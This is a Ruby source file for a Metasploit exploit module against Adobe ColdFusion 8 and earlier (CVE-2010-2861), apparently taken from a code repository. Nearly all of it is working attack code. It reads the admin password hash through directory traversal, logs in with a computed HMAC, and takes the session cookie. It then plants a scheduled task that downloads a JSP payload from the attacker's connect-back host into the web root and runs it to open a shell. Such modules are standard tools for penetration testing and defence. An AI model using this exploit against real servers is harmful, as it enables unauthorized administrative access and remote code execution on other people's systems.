249 lines
7.3 KiB
Ruby
249 lines
7.3 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# Framework web site for more information on licensing and terms of use.
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# http://metasploit.com/framework/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = NormalRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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include Msf::Exploit::Remote::HttpClient
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Adobe ColdFusion - Directory Traversal',
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'Description' => %q{
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This module exploits a directory traversal bug in Adobe ColdFusion.
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By reading the password.properties a user can login using the encrypted
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password itself. This should work on version 8 and below.
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},
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'License' => MSF_LICENSE,
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'Author' => [ 'webDEViL' ],
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2010-2861' ],
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[ 'URL', 'http://www.procheckup.com/vulnerability_manager/vulnerabilities/pr10-07' ],
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[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb10-18.html' ],
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],
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'Privileged' => true,
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'Platform' => ['linux','windows'],
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'Stance' => Msf::Exploit::Stance::Aggressive,
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'Targets' =>
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[
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[ 'Universal',
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{
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'Arch' => ARCH_JAVA,
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'Payload' => 'java'
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}
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],
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],
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'DisclosureDate' => 'Aug 25 2010',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('SHELL', [ true, "The system shell to use.", 'automatic']),
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OptString.new('URL', [ true, 'Administrator Directory', '/CFIDE/administrator/' ]),
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OptString.new('CBIP', [ true, 'Connect Back IP (even when not using reverse shell)', nil ]),
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OptString.new('TRAV', [ false, 'Location of the password.properties file eg. ../../../../ColdFusion8/lib/password.properties%00en', nil ]),
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], self.class)
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end
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def exploit
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ip = datastore['RHOST']
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url = datastore['URL']+"enter.cfm"
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locale = "?locale="
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trav = datastore['TRAV'] || "../../../../../../../../../../../../../../../../../../../../../../lib/password.properties%00en"
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datastore['JSP'] = "wD-"+rand_text_alphanumeric(6)+".jsp"
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datastore['URIPATH'] = rand_text_alphanumeric(6)
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print_status("Trying to acheive Directory Traversal...")
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while trav.match(/..\//im)
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res = send_request_raw({
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'uri' => url+locale+trav,
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'method' => 'GET',
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'headers' =>
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{
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'Connection' => "keep-alive",
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'Accept-Encoding' => "zip,deflate",
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},
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}, -1)
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if (res.nil?)
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print_error("no response for #{ip}:#{rport} #{url}")
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elsif (res.code == 200)
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#print_error("#{res.body}")#debug
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if match = res.body.match(/([0-9A-F]{40})/im);
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caphash = $1
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print_status("URL: #{ip}#{url}?locale=#{trav}")
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print_status("Admin Hash: " + caphash)
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break
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else
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#select(nil, nil, nil, 3)
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trav=trav[3..-1]
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print_status("Trav:"+trav)
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end
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else
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''
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end
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end
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if caphash.nil?
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print_error("Could not determine location of password.properties file, Set TRAV option manually")
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print_error("OR ColdFusion is not vulnerable")
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return
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end
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keyz = Time.now.to_i.to_s+"123"
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print_status("Time: "+ keyz)
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loghash= OpenSSL::HMAC.digest(OpenSSL::Digest::Digest.new('sha1'), keyz, caphash).unpack('H*')[0].upcase
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print_status("Login Hash: "+loghash)
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params = 'cfadminPassword='+loghash
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params << '&requestedURL=%2FCFIDE%2Fadministrator%2Fenter.cfm%3F&'
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params << 'salt='+keyz
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params << '&submit=Login'
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => url,
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'data' => params
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})
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if (res)
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#print_status("Me want Cookie: "+ res.headers['Set-Cookie'])
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if (res.headers['Set-Cookie'].match(/([A-Za-z0-9]{20,200})/im);)
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session = $1
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print_status("Cookie: #{session}")
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else
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print_error("Error retrieving cookie!")
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end
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else
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print_error("No response received while logging in.")
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end
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print_status("Attempting to automatically detect the platform...")
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##AUTO_DETECT START
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path = datastore['URL'] + 'settings/mappings.cfm'
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res = send_request_raw(
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{
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'uri' => path,
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'headers' =>
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{
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'Cookie' => "CFAUTHORIZATION_cfadmin=#{session}"
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}
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}, 20)
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if (not res) or (res.code != 200)
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print_error("Failed: Error requesting #{path}")
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return nil
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end
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if (res.body.match(/.*td *>(.*CFIDE )/im);)
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os = $1
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os.match(/<td [^>]*?>(.*) /im);
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os1 =$1
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os1 = os1.gsub("\t", '')
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os1 = os1.gsub("\r\n", '')
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if (os1 =~ /:/i) #haha ;)
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print_status('OS: Windows')
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datastore['SHELL'] = 'cmd.exe'
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os1=os1+"\\"
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else #(os1 =~ /\//i)
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print_status('OS: Linux')
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datastore['SHELL'] = '/bin/sh'
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os1=os1+"/"
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end
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print_status("Web Directory:"+os1)
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end
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##AUTO_DETECT END
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res = send_request_raw(
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{
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'uri' => "/CFIDE/administrator/scheduler/scheduleedit.cfm?submit=Schedule+New+Task",
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'method' => 'GET',
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'headers' =>
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{
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'Cookie' => "CFAUTHORIZATION_cfadmin=#{session}",
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}
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}, 25)
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if (res.body.match(/<input name="StartTimeOnce".*?value="(.*?)">/im);)
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start_time = $1
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end
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if (res.body.match(/<input name="Start_Date".*?value="(.*?)" id="Start_Date">/im);)
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start_date = $1
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end
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#else FAIL!
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comb = start_date + start_time
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fmt = "%b %d, %Y%I:%M %p"
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comb = ((DateTime.strptime(comb,fmt)).advance :minutes =>-19)
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t = comb.strftime("%b %d, %Y")
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t1 = comb.strftime("%I:%M %p")
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#t=(Time.now).strftime("%b %d, %Y") #can't use local time
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#t1=(Time.now + 5).strftime("%I:%M:%S %p")
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params = 'TaskName=wD-'+rand_text_alphanumeric(6)
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params << "&Start_Date=#{t}" #Mar+12%2C+2011
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params << '&End_Date=&ScheduleType=Once'
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params << "&StartTimeOnce=#{t1}" #6%3A40+PM
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params << ' &Interval=Daily&StartTimeDWM=&customInterval_hour=0&customInterval_min=0&customInterval_sec=0&CustomStartTime=&CustomEndTime=&Operation=HTTPRequest'
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params << '&ScheduledURL=http%3A%2F%2F'+datastore['CBIP']+":"+datastore['SRVPORT']+"/"+datastore['URIPATH']
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params << '&Username=&Password=&Request_Time_out=&proxy_server=&http_proxy_port=&publish=1'
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params << '&publish_file='+os1+datastore['JSP']
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params << '&adminsubmit=Submit&taskNameOrig='
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res = send_request_raw(
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{
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'uri' => "/CFIDE/administrator/scheduler/scheduleedit.cfm",
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'method' => 'POST',
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'data' => params,
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'headers' =>
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{
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'Content-Type' => 'application/x-www-form-urlencoded',
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'Content-Length' => params.length,
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'Cookie' => "CFAUTHORIZATION_cfadmin=#{session}",
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}
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}, 25)
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#print_error("#{res.body}")
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super
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end
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def on_request_uri(cli, request)
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p = regenerate_payload(cli)
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#print_status("SHELL set to #{datastore['SHELL']}")
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#print_status((p.encoded).to_s)
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print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
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# Transmit the response to the client
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send_response(cli, p.encoded, { 'Content-Type' => 'text/html' })
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res = send_request_raw(
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{
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'uri' => "/CFIDE/"+datastore['JSP'],
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'method' => 'GET',
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}, 25)
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# Handle the payload
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handler(cli)
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end
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end
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